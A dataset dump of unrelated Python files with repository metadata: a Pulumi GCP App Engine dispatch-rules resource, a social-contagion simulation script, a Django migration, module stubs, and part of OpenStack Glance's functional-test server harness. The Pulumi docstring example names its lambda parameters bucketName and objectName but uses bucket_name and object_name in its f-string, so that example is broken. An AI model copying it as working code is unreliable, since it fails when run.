dispatch that request to a service. Structure is documented below. """ return pulumi.get(self, "dispatch_rules") @dispatch_rules.setter def dispatch_rules(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ApplicationUrlDispatchRulesDispatchRuleArgs']]]]): pulumi.set(self, "dispatch_rules", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) class ApplicationUrlDispatchRules(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, dispatch_rules: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ApplicationUrlDispatchRulesDispatchRuleArgs']]]]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None): """ Rules to match an HTTP request and dispatch that request to a service. To get more information about ApplicationUrlDispatchRules, see: * [API documentation](https://cloud.google.com/appengine/docs/admin-api/reference/rest/v1/apps#UrlDispatchRule) ## Example Usage ### App Engine Application Url Dispatch Rules Basic ```python import pulumi import pulumi_gcp as gcp bucket = gcp.storage.Bucket("bucket") object = gcp.storage.BucketObject("object", bucket=bucket.name, source=pulumi.FileAsset("./test-fixtures/appengine/hello-world.zip")) admin_v3 = gcp.appengine.StandardAppVersion("adminV3", version_id="v3", service="admin", runtime="nodejs10", entrypoint=gcp.appengine.StandardAppVersionEntrypointArgs( shell="node ./app.js", ), deployment=gcp.appengine.StandardAppVersionDeploymentArgs( zip=gcp.appengine.StandardAppVersionDeploymentZipArgs( source_url=pulumi.Output.all(bucket.name, object.name).apply(lambda bucketName, objectName: f"https://storage.googleapis.com/{bucket_name}/{object_name}"), ), ), env_variables={ "port": "8080", }, noop_on_destroy=True) web_service = gcp.appengine.ApplicationUrlDispatchRules("webService", dispatch_rules=[ gcp.appengine.ApplicationUrlDispatchRulesDispatchRuleArgs( domain="*", path="/*", service="default", ), gcp.appengine.ApplicationUrlDispatchRulesDispatchRuleArgs( domain="*", path="/admin/*", service=admin_v3.service, ), ]) ``` ## Import ApplicationUrlDispatchRules can be imported using any of these accepted formats ```sh $ pulumi import gcp:appengine/applicationUrlDispatchRules:ApplicationUrlDispatchRules default {{project}} ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ApplicationUrlDispatchRulesDispatchRuleArgs']]]] dispatch_rules: Rules to match an HTTP request and dispatch that request to a service. Structure is documented below. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ ... @overload def __init__(__self__, resource_name: str, args: ApplicationUrlDispatchRulesArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Rules to match an HTTP request and dispatch that request to a service. To get more information about ApplicationUrlDispatchRules, see: * [API documentation](https://cloud.google.com/appengine/docs/admin-api/reference/rest/v1/apps#UrlDispatchRule) ## Example Usage ### App Engine Application Url Dispatch Rules Basic ```python import pulumi import pulumi_gcp as gcp bucket = gcp.storage.Bucket("bucket") object = gcp.storage.BucketObject("object", bucket=bucket.name, source=pulumi.FileAsset("./test-fixtures/appengine/hello-world.zip")) admin_v3 = gcp.appengine.StandardAppVersion("adminV3", version_id="v3", service="admin", runtime="nodejs10", entrypoint=gcp.appengine.StandardAppVersionEntrypointArgs( shell="node ./app.js", ), deployment=gcp.appengine.StandardAppVersionDeploymentArgs( zip=gcp.appengine.StandardAppVersionDeploymentZipArgs( source_url=pulumi.Output.all(bucket.name, object.name).apply(lambda bucketName, objectName: f"https://storage.googleapis.com/{bucket_name}/{object_name}"), ), ), env_variables={ "port": "8080", }, noop_on_destroy=True) web_service = gcp.appengine.ApplicationUrlDispatchRules("webService", dispatch_rules=[ gcp.appengine.ApplicationUrlDispatchRulesDispatchRuleArgs( domain="*", path="/*", service="default", ), gcp.appengine.ApplicationUrlDispatchRulesDispatchRuleArgs( domain="*", path="/admin/*", service=admin_v3.service, ), ]) ``` ## Import ApplicationUrlDispatchRules can be imported using any of these accepted formats ```sh $ pulumi import gcp:appengine/applicationUrlDispatchRules:ApplicationUrlDispatchRules default {{project}} ``` :param str resource_name: The name of the resource. :param ApplicationUrlDispatchRulesArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(ApplicationUrlDispatchRulesArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, dispatch_rules: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ApplicationUrlDispatchRulesDispatchRuleArgs']]]]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = ApplicationUrlDispatchRulesArgs.__new__(ApplicationUrlDispatchRulesArgs) if dispatch_rules is None and not opts.urn: raise TypeError("Missing required property 'dispatch_rules'") __props__.__dict__["dispatch_rules"] = dispatch_rules __props__.__dict__["project"] = project super(ApplicationUrlDispatchRules, __self__).__init__( 'gcp:appengine/applicationUrlDispatchRules:ApplicationUrlDispatchRules', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, dispatch_rules: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ApplicationUrlDispatchRulesDispatchRuleArgs']]]]] = None, project: Optional[pulumi.Input[str]] = None) -> 'ApplicationUrlDispatchRules': """ Get an existing ApplicationUrlDispatchRules resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ApplicationUrlDispatchRulesDispatchRuleArgs']]]] dispatch_rules: Rules to match an HTTP request and dispatch that request to a service. Structure is documented below. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _ApplicationUrlDispatchRulesState.__new__(_ApplicationUrlDispatchRulesState) __props__.__dict__["dispatch_rules"] = dispatch_rules __props__.__dict__["project"] = project return ApplicationUrlDispatchRules(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="dispatchRules") def dispatch_rules(self) -> pulumi.Output[Sequence['outputs.ApplicationUrlDispatchRulesDispatchRule']]: """ Rules to match an HTTP request and dispatch that request to a service. Structure is documented below. """ return pulumi.get(self, "dispatch_rules") @property @pulumi.getter def project(self) -> pulumi.Output[str]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project")

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null

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1

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null

0

6

bcd2e0d8ff9e17bfff42d10d00839a8c6eba93bf

44

py

Python

cygraphblas/lib/descriptor/ss.py

eriknw/cygraphblas

81ae37591ec38aa698d5f37716464a6c366076f9

[ "Apache-2.0" ]

3

2020-09-03T21:47:25.000Z

2021-08-06T20:24:19.000Z

cygraphblas/lib/descriptor/ss.py

eriknw/cygraphblas

81ae37591ec38aa698d5f37716464a6c366076f9

[ "Apache-2.0" ]

null

cygraphblas/lib/descriptor/ss.py

eriknw/cygraphblas

81ae37591ec38aa698d5f37716464a6c366076f9

[ "Apache-2.0" ]

2

2020-09-03T21:47:52.000Z

2021-08-06T20:24:20.000Z

from cygraphblas_ss.lib.descriptor import *

22

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null

0

1

0

1

0

1

0

6

bcec87ae36d9ffee5a73337cdd50ec825c8b6eed

27

py

Python

handlers/admin/__init__.py

vR4eslav/DatingBot

62f9ccbe1a3d0c65dd8d650400a1b5595be893b5

[ "Apache-2.0" ]

null

handlers/admin/__init__.py

vR4eslav/DatingBot

62f9ccbe1a3d0c65dd8d650400a1b5595be893b5

[ "Apache-2.0" ]

null

handlers/admin/__init__.py

vR4eslav/DatingBot

62f9ccbe1a3d0c65dd8d650400a1b5595be893b5

[ "Apache-2.0" ]

null

from . import admin_handler

27

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null

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1

0

1

0

6

4c18903a2bfdee92d45c203367ca98e0f9c65dfe

11,347

py

Python

plot_barabasi2.py

koshini/polya-social-contagion

ad3915a59611589160e5c7f5e6a1d82489e6e1b2

[ "MIT" ]

null

plot_barabasi2.py

koshini/polya-social-contagion

ad3915a59611589160e5c7f5e6a1d82489e6e1b2

[ "MIT" ]

1

2019-04-03T20:45:05.000Z

2019-04-07T18:06:13.000Z

plot_barabasi2.py

koshini/polya-social-contagion

ad3915a59611589160e5c7f5e6a1d82489e6e1b2

[ "MIT" ]

null

import networkx as nx from graph_generator import generate_graph from simulation import simulate import time import matplotlib.pyplot as plt import numpy as np runs = 200 node_count = 25 iterations = 300 initial_balls = node_count * 100 topology = 'barabasi' def main(): folder = 'neutral-equal-25/' red_mult = 1 black_mult = 1 red_budget = node_count * 10 black_budget = node_count * 10 run_scenario(folder, red_mult, black_mult, red_budget, black_budget) folder = 'neutral-more-red/' red_mult = 1 black_mult = 1 red_budget = node_count * 10 black_budget = node_count * 7 # run_scenario(folder, red_mult, black_mult, red_budget, black_budget) folder = 'pre-infected-equal-25/' red_mult = 2 black_mult = 1 red_budget = node_count * 10 black_budget = node_count * 10 run_scenario(folder, red_mult, black_mult, red_budget, black_budget) folder = 'pre-cured-equal-25/' red_mult = 1 black_mult = 2 red_budget = node_count * 10 black_budget = node_count * 10 run_scenario(folder, red_mult, black_mult, red_budget, black_budget) folder = 'pre-cured-more-red/' red_mult = 1 black_mult = 2 red_budget = node_count * 10 black_budget = node_count * 7 # run_scenario(folder, red_mult, black_mult, red_budget, black_budget) def run_scenario(folder, red_mult, black_mult, red_budget, black_budget): initial_condition = { 'node_count': node_count, 'parameter': 2, 'red': initial_balls * red_mult, 'black': initial_balls * black_mult, 'dist': 'random' } print('-------------' + folder) strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'gradient', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_centrality_threshold', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.4, 'portion': 0.05 }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_centrality', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'follow_bot', }) run_strats(folder, topology, red_mult, black_mult, strat_dict_list, iterations, runs, initial_condition) make_plots(folder, topology, strat_dict_list, 'all-strats') ############################### strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.2, 'portion': 0.01 }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.2, 'portion': 0.05 }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.2, 'portion': 0.1 }) # run_strats(folder, topology, red_mult, black_mult, strat_dict_list, iterations, runs, initial_condition) # make_plots(folder, topology, strat_dict_list, '0.2vary-portion') ############################### ############################### strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.4, 'portion': 0.01 }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.4, 'portion': 0.05 }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.4, 'portion': 0.1 }) # run_strats(folder, topology, red_mult, black_mult, strat_dict_list, iterations, runs, initial_condition) # make_plots(folder, topology, strat_dict_list, '0.4vary-portion') ############################### strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.6, 'portion': 0.01 }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.6, 'portion': 0.05 }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'centrality_threshold', 'threshold': 0.6, 'portion': 0.1 }) # run_strats(folder, topology, red_mult, black_mult, strat_dict_list, iterations, runs, initial_condition) # make_plots(folder, topology, strat_dict_list, '0.6vary-portion') ############################### strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_centrality', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_degree', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_closeness', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_exposure', }) # run_strats(folder, topology, red_mult, black_mult, strat_dict_list, iterations, runs, initial_condition) #### Plot exposure-degree-closeness strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_exposure', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_degree', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_closeness', }) # make_plots(folder, topology, strat_dict_list, 'exposure-degree-closeness') #### Plot centrality-degree-closeness strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_centrality', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_degree', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'bot', 'black_strat': 'pure_closeness', }) # make_plots(folder, topology, strat_dict_list, 'centrality-degree-closeness') ############################### gradient nash equilibrium strat_dict_list = [] strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'uniform', 'black_strat': 'gradient', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'gradient', 'black_strat': 'gradient', }) strat_dict_list.append({ 'red_budget': red_budget, 'black_budget': black_budget, 'red_strat': 'gradient', 'black_strat': 'uniform', }) # # run_strats(folder, topology, red_mult, black_mult, strat_dict_list, iterations, runs, initial_condition) # make_plots(folder, topology, strat_dict_list, 'gradient-nash-equil') def run_strats(folder, topology, red_mult, black_mult, strat_list, iterations, runs, initial_condition): for strat in strat_list: print(str(strat)) start = time.time() prefix = '' if strat.get('threshold') is not None: prefix = str(strat['threshold']) + '_' + str(strat['portion']) infection_csv = folder + topology + prefix + strat['red_strat'] + strat[ 'black_strat'] + 'infection.csv' simulate(folder, topology, red_mult, black_mult, strat, iterations, runs, prefix=prefix, initial_condition=initial_condition) elapsed_time = time.time() - start print(elapsed_time) print() log_file = folder + 'log.txt' with open(log_file, 'a') as f: f.write(str(strat) + '\n') f.write(str(elapsed_time) + '\n') f.write('\n') def make_plots(folder, topology, strat_dict_list, plot_name): plt.figure() for strat_dict in strat_dict_list: if topology == 'twitter': iterations = 60 else: iterations = 300 prefix = '' red_strat = strat_dict['red_strat'].replace('_', ' ') black_strat = strat_dict['black_strat'].replace('_', ' ') if black_strat == 'centrality threshold': black_strat = 'adjusted centrality exposure threshold' if black_strat == 'pure centrality threshold': black_strat = 'centrality exposure threshold' infection_csv = folder + '/empirical-infection' + topology + strat_dict['red_strat'] + strat_dict[ 'black_strat'] + 'infection.csv' if strat_dict.get('threshold') is not None: prefix = str(strat_dict['threshold']) + '_' + str(strat_dict['portion']) if prefix: infection_csv = folder + topology + prefix + strat_dict['red_strat'] + strat_dict[ 'black_strat'] + 'infection.csv' infection_array = np.loadtxt(infection_csv, delimiter=',', unpack=True) # infection_array = np.insert(infection_array, 0, 0.2, axis=1) avg_infection = np.mean(infection_array, axis=1) plt.xlabel('Time step') plt.ylabel('Average infection rate') # avg_infection = infection_array # if there is only one row plt.plot(list(range(avg_infection.size)), avg_infection, label=prefix + black_strat) plt.legend(loc='best', prop={'size': 10}) plt.axis([0, iterations, 0.2, 0.8]) filename = folder + topology + plot_name + '.png' plt.savefig(filename) # plt.show() plt.close() if __name__ == "__main__": main()

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null

0

6

4c5e41c46a8f658f19b9b4bade40c9d14d0dc499

2,264

py

Python

app/profiles/migrations/0001_initial.py

GaneshPandey/cowmandu

de6c110087d7b0d8ad54dafec0af3d2ab09532e3

[ "MIT" ]

null

app/profiles/migrations/0001_initial.py

GaneshPandey/cowmandu

de6c110087d7b0d8ad54dafec0af3d2ab09532e3

[ "MIT" ]

null

app/profiles/migrations/0001_initial.py

GaneshPandey/cowmandu

de6c110087d7b0d8ad54dafec0af3d2ab09532e3

[ "MIT" ]

null

# Generated by Django 2.2.6 on 2019-10-15 09:09 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='ManagerProfile', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date_of_birth', models.DateField(blank=True, null=True)), ('phone_no', models.CharField(max_length=10)), ('profile_photo', models.ImageField(blank=True, default='profile/profile_default.png', upload_to='profile')), ('cover_photo', models.ImageField(blank=True, default='profile/cover-image/cover_default.jpg', upload_to='profile/cover-image')), ('gender', models.CharField(choices=[('male', 'Male'), ('female', 'Female'), ('other', 'Other')], default='other', max_length=6)), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='manager_profile', to=settings.AUTH_USER_MODEL, verbose_name='user')), ], ), migrations.CreateModel( name='CustomerProfile', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date_of_birth', models.DateField(blank=True, null=True)), ('phone_no', models.CharField(max_length=10)), ('profile_photo', models.ImageField(blank=True, default='profile/profile_default.png', upload_to='profile')), ('cover_photo', models.ImageField(blank=True, default='profile/cover-image/cover_default.jpg', upload_to='profile/cover-image')), ('gender', models.CharField(choices=[('male', 'Male'), ('female', 'Female'), ('other', 'Other')], default='other', max_length=6)), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='customer_profile', to=settings.AUTH_USER_MODEL, verbose_name='user')), ], ), ]

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5.577689

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0.761429

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0

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0.207155

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0

null

0

1

0

1

0

null

0

6

d5be471e8b5fd679ea92f1e068d20e864af22d4a

20

py

Python

ml4s/__init__.py

agdelma/ml4s

b3e9dc6b5ffe9d01399e56fd73c6792fe6d57f50

[ "MIT" ]

null

ml4s/__init__.py

agdelma/ml4s

b3e9dc6b5ffe9d01399e56fd73c6792fe6d57f50

[ "MIT" ]

null

ml4s/__init__.py

agdelma/ml4s

b3e9dc6b5ffe9d01399e56fd73c6792fe6d57f50

[ "MIT" ]

null

from .ml4s import *

10

19

0.7

3

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4.666667

1

0

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1

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0

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0

1

0

1

0

6

d5fc1d766f3b2eea9ec851e2c3b9decdd566421f

282

py

Python

bentoml/pytorch.py

francoisserra/BentoML

213e9e9b39e055286f2649c733907df88e6d2503

[ "Apache-2.0" ]

1

2021-06-12T17:04:07.000Z

bentoml/pytorch.py

francoisserra/BentoML

213e9e9b39e055286f2649c733907df88e6d2503

[ "Apache-2.0" ]

4

2021-05-16T08:06:25.000Z

2021-11-13T08:46:36.000Z

bentoml/pytorch.py

francoisserra/BentoML

213e9e9b39e055286f2649c733907df88e6d2503

[ "Apache-2.0" ]

null

from ._internal.frameworks.pytorch import load from ._internal.frameworks.pytorch import save from ._internal.frameworks.pytorch import load_runner from ._internal.frameworks.pytorch import PytorchTensorContainer __all__ = ["PytorchTensorContainer", "load", "load_runner", "save"]

40.285714

67

0.826241

31

282

7.193548

0.322581

0.215247

0.394619

0.520179

0.663677

0.349776

0

0.08156

282

6

68

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0.861004

0

0.14539

0.078014

0

1

0

false

0

0.8

0

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null

1

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1

0

null

0

1

0

1

0

6

914d35157b06e84c8c90e46522258e57f5e9885c

63,287

py

Python

glance/tests/functional/__init__.py

rajivmucheli/glance

73742be99944d923031aa5f90e06051126b17007

[ "Apache-2.0" ]

null

glance/tests/functional/__init__.py

rajivmucheli/glance

73742be99944d923031aa5f90e06051126b17007

[ "Apache-2.0" ]

null

glance/tests/functional/__init__.py

rajivmucheli/glance

73742be99944d923031aa5f90e06051126b17007

[ "Apache-2.0" ]

null

# Copyright 2011 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Base test class for running non-stubbed tests (functional tests) The FunctionalTest class contains helper methods for starting the API and Registry server, grabbing the logs of each, cleaning up pidfiles, and spinning down the servers. """ import abc import atexit import datetime import errno import os import platform import shutil import signal import six import socket import subprocess import sys import tempfile import textwrap import time from unittest import mock import uuid import fixtures import glance_store from os_win import utilsfactory as os_win_utilsfactory from oslo_config import cfg from oslo_serialization import jsonutils # NOTE(jokke): simplified transition to py3, behaves like py2 xrange from six.moves import range import six.moves.urllib.parse as urlparse import testtools import webob from glance.common import config from glance.common import utils from glance.common import wsgi from glance.db.sqlalchemy import api as db_api from glance import tests as glance_tests from glance.tests import utils as test_utils execute, get_unused_port = test_utils.execute, test_utils.get_unused_port tracecmd_osmap = {'Linux': 'strace', 'FreeBSD': 'truss'} if os.name == 'nt': SQLITE_CONN_TEMPLATE = 'sqlite:///%s/tests.sqlite' else: SQLITE_CONN_TEMPLATE = 'sqlite:////%s/tests.sqlite' CONF = cfg.CONF import glance.async_ # NOTE(danms): Default to eventlet threading for tests try: glance.async_.set_threadpool_model('eventlet') except RuntimeError: pass @six.add_metaclass(abc.ABCMeta) class BaseServer(object): """ Class used to easily manage starting and stopping a server during functional test runs. """ def __init__(self, test_dir, port, sock=None): """ Creates a new Server object. :param test_dir: The directory where all test stuff is kept. This is passed from the FunctionalTestCase. :param port: The port to start a server up on. """ self.debug = True self.no_venv = False self.test_dir = test_dir self.bind_port = port self.conf_file_name = None self.conf_base = None self.paste_conf_base = None self.exec_env = None self.deployment_flavor = '' self.show_image_direct_url = False self.show_multiple_locations = False self.property_protection_file = '' self.needs_database = False self.log_file = None self.sock = sock self.fork_socket = True self.process_pid = None self.server_module = None self.stop_kill = False self.send_identity_credentials = False def write_conf(self, **kwargs): """ Writes the configuration file for the server to its intended destination. Returns the name of the configuration file and the over-ridden config content (may be useful for populating error messages). """ if not self.conf_base: raise RuntimeError("Subclass did not populate config_base!") conf_override = self.__dict__.copy() if kwargs: conf_override.update(**kwargs) # A config file and paste.ini to use just for this test...we don't want # to trample on currently-running Glance servers, now do we? conf_dir = os.path.join(self.test_dir, 'etc') conf_filepath = os.path.join(conf_dir, "%s.conf" % self.server_name) if os.path.exists(conf_filepath): os.unlink(conf_filepath) paste_conf_filepath = conf_filepath.replace(".conf", "-paste.ini") if os.path.exists(paste_conf_filepath): os.unlink(paste_conf_filepath) utils.safe_mkdirs(conf_dir) def override_conf(filepath, overridden): with open(filepath, 'w') as conf_file: conf_file.write(overridden) conf_file.flush() return conf_file.name overridden_core = self.conf_base % conf_override self.conf_file_name = override_conf(conf_filepath, overridden_core) overridden_paste = '' if self.paste_conf_base: overridden_paste = self.paste_conf_base % conf_override override_conf(paste_conf_filepath, overridden_paste) overridden = ('==Core config==\n%s\n==Paste config==\n%s' % (overridden_core, overridden_paste)) return self.conf_file_name, overridden @abc.abstractmethod def start(self, expect_exit=True, expected_exitcode=0, **kwargs): pass @abc.abstractmethod def stop(self): pass def reload(self, expect_exit=True, expected_exitcode=0, **kwargs): """ Start and stop the service to reload Any kwargs passed to this method will override the configuration value in the conf file used in starting the servers. """ self.stop() return self.start(expect_exit=expect_exit, expected_exitcode=expected_exitcode, **kwargs) def create_database(self): """Create database if required for this server""" if self.needs_database: conf_dir = os.path.join(self.test_dir, 'etc') utils.safe_mkdirs(conf_dir) conf_filepath = os.path.join(conf_dir, 'glance-manage.conf') with open(conf_filepath, 'w') as conf_file: conf_file.write('[DEFAULT]\n') conf_file.write('sql_connection = %s' % self.sql_connection) conf_file.flush() glance_db_env = 'GLANCE_DB_TEST_SQLITE_FILE' if glance_db_env in os.environ: # use the empty db created and cached as a tempfile # instead of spending the time creating a new one db_location = os.environ[glance_db_env] shutil.copyfile(db_location, "%s/tests.sqlite" % self.test_dir) else: cmd = ('%s -m glance.cmd.manage --config-file %s db sync' % (sys.executable, conf_filepath)) execute(cmd, no_venv=self.no_venv, exec_env=self.exec_env, expect_exit=True) # copy the clean db to a temp location so that it # can be reused for future tests (osf, db_location) = tempfile.mkstemp() os.close(osf) shutil.copyfile('%s/tests.sqlite' % self.test_dir, db_location) os.environ[glance_db_env] = db_location # cleanup the temp file when the test suite is # complete def _delete_cached_db(): try: os.remove(os.environ[glance_db_env]) except Exception: glance_tests.logger.exception( "Error cleaning up the file %s" % os.environ[glance_db_env]) atexit.register(_delete_cached_db) def dump_log(self): if not self.log_file: return "log_file not set for {name}".format(name=self.server_name) elif not os.path.exists(self.log_file): return "{log_file} for {name} did not exist".format( log_file=self.log_file, name=self.server_name) with open(self.log_file, 'r') as fptr: return fptr.read().strip() class PosixServer(BaseServer): def start(self, expect_exit=True, expected_exitcode=0, **kwargs): """ Starts the server. Any kwargs passed to this method will override the configuration value in the conf file used in starting the servers. """ # Ensure the configuration file is written self.write_conf(**kwargs) self.create_database() cmd = ("%(server_module)s --config-file %(conf_file_name)s" % {"server_module": self.server_module, "conf_file_name": self.conf_file_name}) cmd = "%s -m %s" % (sys.executable, cmd) # close the sock and release the unused port closer to start time if self.exec_env: exec_env = self.exec_env.copy() else: exec_env = {} pass_fds = set() if self.sock: if not self.fork_socket: self.sock.close() self.sock = None else: fd = os.dup(self.sock.fileno()) exec_env[utils.GLANCE_TEST_SOCKET_FD_STR] = str(fd) pass_fds.add(fd) self.sock.close() self.process_pid = test_utils.fork_exec(cmd, logfile=os.devnull, exec_env=exec_env, pass_fds=pass_fds) self.stop_kill = not expect_exit if self.pid_file: pf = open(self.pid_file, 'w') pf.write('%d\n' % self.process_pid) pf.close() if not expect_exit: rc = 0 try: os.kill(self.process_pid, 0) except OSError: raise RuntimeError("The process did not start") else: rc = test_utils.wait_for_fork( self.process_pid, expected_exitcode=expected_exitcode, force=False) # avoid an FD leak if self.sock: os.close(fd) self.sock = None return (rc, '', '') def stop(self): """ Spin down the server. """ if not self.process_pid: raise Exception('why is this being called? %s' % self.server_name) if self.stop_kill: os.kill(self.process_pid, signal.SIGTERM) rc = test_utils.wait_for_fork(self.process_pid, raise_error=False, force=self.stop_kill) return (rc, '', '') class Win32Server(BaseServer): def __init__(self, *args, **kwargs): super(Win32Server, self).__init__(*args, **kwargs) self._processutils = os_win_utilsfactory.get_processutils() def start(self, expect_exit=True, expected_exitcode=0, **kwargs): """ Starts the server. Any kwargs passed to this method will override the configuration value in the conf file used in starting the servers. """ # Ensure the configuration file is written self.write_conf(**kwargs) self.create_database() cmd = ("%(server_module)s --config-file %(conf_file_name)s" % {"server_module": self.server_module, "conf_file_name": self.conf_file_name}) cmd = "%s -m %s" % (sys.executable, cmd) # Passing socket objects on Windows is a bit more cumbersome. # We don't really have to do it. if self.sock: self.sock.close() self.sock = None self.process = subprocess.Popen( cmd, env=self.exec_env) self.process_pid = self.process.pid try: self.job_handle = self._processutils.kill_process_on_job_close( self.process_pid) except Exception: # Could not associate child process with a job, killing it. self.process.kill() raise self.stop_kill = not expect_exit if self.pid_file: pf = open(self.pid_file, 'w') pf.write('%d\n' % self.process_pid) pf.close() rc = 0 if expect_exit: self.process.communicate() rc = self.process.returncode return (rc, '', '') def stop(self): """ Spin down the server. """ if not self.process_pid: raise Exception('Server "%s" process not running.' % self.server_name) if self.stop_kill: self.process.terminate() return (0, '', '') if os.name == 'nt': Server = Win32Server else: Server = PosixServer class ApiServer(Server): """ Server object that starts/stops/manages the API server """ def __init__(self, test_dir, port, policy_file, delayed_delete=False, pid_file=None, sock=None, **kwargs): super(ApiServer, self).__init__(test_dir, port, sock=sock) self.server_name = 'api' self.server_module = 'glance.cmd.%s' % self.server_name self.default_store = kwargs.get("default_store", "file") self.bind_host = "127.0.0.1" self.metadata_encryption_key = "012345678901234567890123456789ab" self.image_dir = os.path.join(self.test_dir, "images") self.pid_file = pid_file or os.path.join(self.test_dir, "api.pid") self.log_file = os.path.join(self.test_dir, "api.log") self.image_size_cap = 1099511627776 self.delayed_delete = delayed_delete self.owner_is_tenant = True 